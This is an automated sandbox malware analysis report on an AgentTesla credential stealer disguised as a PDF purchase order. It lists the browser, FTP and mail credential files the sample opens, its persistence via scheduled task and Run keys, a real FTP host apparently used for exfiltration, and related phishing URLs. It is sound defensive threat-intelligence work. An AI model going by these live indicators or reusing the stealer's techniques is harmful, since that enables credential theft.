Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FrFvspxoHsPs.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 3236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 4216, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3860883657.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1620262791.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3861351736.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3860059633.00000000033EB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FrFvspxoHsPs.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 3236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 4216, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z38PO_20248099-1_pdf.exe	66%	ReversingLabs	Win32.Trojan.AgentTesla
z38PO_20248099-1_pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	66%	ReversingLabs	Win32.Trojan.AgentTesla
C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	66%	ReversingLabs	Win32.Trojan.AgentTesla

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ftp.haliza.com.my	0%	Avira URL Cloud	safe
https://api.ipify.org/t	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		unknown
ftp.haliza.com.my	110.4.45.197	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	z38PO_20248099-1_pdf.exe, 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	z38PO_20248099-1_pdf.exe, 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.haliza.com.my	z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002A3C000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002B13000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002C35000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.00000000035CD000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003681000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.000000000358E000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.00000000033EB000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000330B000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000325F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/t	z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	z38PO_20248099-1_pdf.exe, 00000000.00000002.1446067123.0000000002C02000.00000004.00000800.00020000.00000000.sdmp, z38PO_20248099-1_pdf.exe, 0000000A.00000002.3860883657.000000000284C000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000B.00000002.1494492070.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3860059633.0000000003351000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000010.00000002.1556961678.00000000032C2000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1620262791.0000000003071000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000015.00000002.1639610353.0000000002625000.00000004.00000800.00020000.00000000.sdmp, sgxIb.exe, 00000018.00000002.3861351736.000000000304C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
110.4.45.197	ftp.haliza.com.my	Malaysia		46015	EXABYTES-AS-APExaBytesNetworkSdnBhdMY	true
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518233
Start date and time:	2024-09-25 14:41:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z38PO_20248099-1_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@33/20@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 482 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: z38PO_20248099-1_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
08:42:19	API Interceptor	5893430x Sleep call for process: z38PO_20248099-1_pdf.exe modified
08:42:20	API Interceptor	41x Sleep call for process: powershell.exe modified
08:42:25	API Interceptor	1288139x Sleep call for process: FrFvspxoHsPs.exe modified
08:42:32	API Interceptor	4739059x Sleep call for process: sgxIb.exe modified
13:42:21	Task Scheduler	Run new task: FrFvspxoHsPs path: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
13:42:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sgxIb C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
13:42:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sgxIb C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
110.4.45.197	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse
	rPO_20248099-112,300PCS.exe	Get hash	malicious	AgentTesla	Browse
	PO__20248099-1 12,300PCS.exe	Get hash	malicious	AgentTesla	Browse
172.67.74.152	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	zE7Ken4cFt.dll	Get hash	malicious	Quasar	Browse	api.ipify.org/
	FormPlayer.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.haliza.com.my	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	rPO_20248099-112,300PCS.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	PO__20248099-1 12,300PCS.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
api.ipify.org	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://www.canva.com/design/DAGRqYHU9fM/qLQ4eWyHLFZd4WO6lX1hvg/view?utm_content=DAGRqYHU9fM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	Zoom_Invite.call-660194855683.wsf	Get hash	malicious	XWorm	Browse	104.26.12.205
	reported_account_violation-pdf-67223451.wsf	Get hash	malicious	XWorm	Browse	104.26.13.205
	COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://pub-647efec841f2469ea102ef18827f7780.r2.dev/secure_response.html	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	104.26.12.205
	http://pub-afa55f53401b48e6ad155daf536ad34c.r2.dev/utility_base.html	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EXABYTES-AS-APExaBytesNetworkSdnBhdMY	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	103.6.198.219
	PO#005.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.6.198.178
	purchase order.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.6.198.178
	rPO_20248099-112,300PCS.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	PO__20248099-1 12,300PCS.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	https://hijauanhills.com.my/wp-content/upgrade/index.php?uid=qvc-communication@qvcjp.com	Get hash	malicious	Unknown	Browse	43.252.214.42
	https://hijauanhills.com.my/wp-content/upgrade/index.php?uid=qvc-communication@qvcjp.com	Get hash	malicious	Unknown	Browse	43.252.214.42
	https://trk.klclick3.com/ls/click?upn=%75001%2ec09Q0Iaa5JBKaMwLC9cMjFMyHYn-2B6EZxbTX-2FaxXPaGrg5dbeFH4fD3EuQFBIIXLREGZ-2FcOKC34mnxZPxIQx7XghFIqGaXY6alnacloe8xRo-3DgClE_PsKyq3SDuMFd2Bvwnm7-2BcmPfS0aZrbIGf331gXNHUSe-2BhQgqUpFiX3w7h5jUnRd6n-2FE8HERNVnz6BOvKs-2F6ulrBAPhqq4y7BxG-2Bd6kG7tLUxcOuHiFWpTHeDGZUnvDZvP6FM52V2kHQ6WJAZs6KQLxfqZHXfS07MTZdpG9vj-2FyhrEPsl2OqZg5lzEsrvURNsKVvDj6AmF6Sc1Z4lZAW7CGdtCrIGzdnodzXHJg2ktm7ptAUSv125vaGKXpRXhbzmAu5lE-2BvgScXpoVnTswlbot2XqG-2FJI21NuECHLJYOtT13mulLg3LyC43ioSpIwstqzATUDNosl6pb3KNNf3I-2F07dDO2NkZcrZt-2B2G5uraxeQ-3D#/?/c3plbGxAam9uZXNqdW5jdGlvbi5jb20=	Get hash	malicious	Unknown	Browse	103.6.198.53
	https://berobv.nl/	Get hash	malicious	Unknown	Browse	103.6.198.176
CLOUDFLARENETUS	0x000e00000001da78-93.exe	Get hash	malicious	LummaC	Browse	172.67.206.221
	FAKTURA_.EXE.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	188.114.97.3
	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rPROFORMAINVOICE-PO_ATS_1036pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	http://hye.com.mx	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://EIB.m365-microsoft.com/i/d62c9121ed3e64f32bfe6dd51720150ce?fp=a8b756deca&twc=000066140762&e=afdbb4a2cfc14765bdcddb3a4ff152c6	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://u47138932.ct.sendgrid.net/ls/click?upn=u001.WHU40Igm1lAOGuvv-2FdvXEBICo64I-2Fww-2F4GhUU-2BYAtPpG2Rlg5ZO0npuLCJUQ0th-2Bv7jiqZNwXXutQuRULDJ5gA-3D-3D49di_E3jX7UdwUvWW16GmiaKN7FkCRVuYellJjDDE2zc2thlrACmxCpdiqjVeZzrtBBh53HG3diRIaSJROX1IVISX2iuKwpzfFmWnT0Yv1uEikhvgBfP7OQn0yqcVecNZ3iDwFjYYj57BnYIOhDpPo4MTwnwub6p2B5GRghh6ChqtreR11LT6WpJx-2FcmruvU1xEGNLDsifcIUnQKgQbqTLc4vnXmCfsmjYgCm0e-2BBQgOUn5pv0HzAWJQ2BG0SXnTVfDBoH7QelwM6AwzcQNq8DXMWRJRTblKEKJioXfF0zfGmiftnizJbYIB8-2FjHg4nz-2F3zTP2EmyELP4FGD6jsuXOmnDDCfknw4WJyH33Agg5tAwQOjntCHuuZi6vcl6SPJyVNsvolpRM7Yp8Ri5gQksC1pfj2rC-2F45nF8bhK3EHs4VmIWpDl-2FDZcfZMpI50qinszZEtLmF7m8gZv-2BkUvlKpTvm-2FfTLIu2iSZcVBG0sGFMm-2FoR-2BR6O0SBoX53s7fd6zbqziWuPg2tLfHjJjraKZEwqpZnbaHuJ-2F-2F-2FWqvTwBSaffuKdeB6vfA0b-2FDnJiZ4Bk6qAzG08EbfonMWuWwAbXPPNlz7-2FPhMaRZIj5qYmImFuGJee8m0N-2Bht2q6llhNWiP4ZMXXLYVHteEexUAugvquxsOpI6vqnHcQgc-2FVpUHpOp2BMHZLkW2qrpJH8BCyfTdYFr6iQwd7HzQDsc429SLZFXzK95V1E-2FXG1a3sGhwhN8XAY0nnJSxwwGLn2jP8dTD9xQetC2exPt5-2F-2FqgJQ5bXuDHvFZTrNGco6SJBPNyS9ynWfuYpvIc2j9CNYEYBIXjxGimgN-2BOoaRDXClnNK36cnrLjExHKdCfLb6GbsD03m-2Bb3lMo-3D	Get hash	malicious	Unknown	Browse	104.18.161.117
	rBSH200924_pdf.cmd.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	t1RVQb98yT.exe	Get hash	malicious	S400 RAT	Browse	162.159.135.232

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	rTEKL__FTALEPVEF__YATTEKL__F___xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.74.152
	rTEKL__FTALEPVEF__YATTEKL__F__.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.74.152
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.74.152
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.74.152
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.74.152
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.74.152
	http://hye.com.mx	Get hash	malicious	Unknown	Browse	172.67.74.152
	batman.ps1	Get hash	malicious	Unknown	Browse	172.67.74.152
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.74.152
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.74.152

Process:	C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
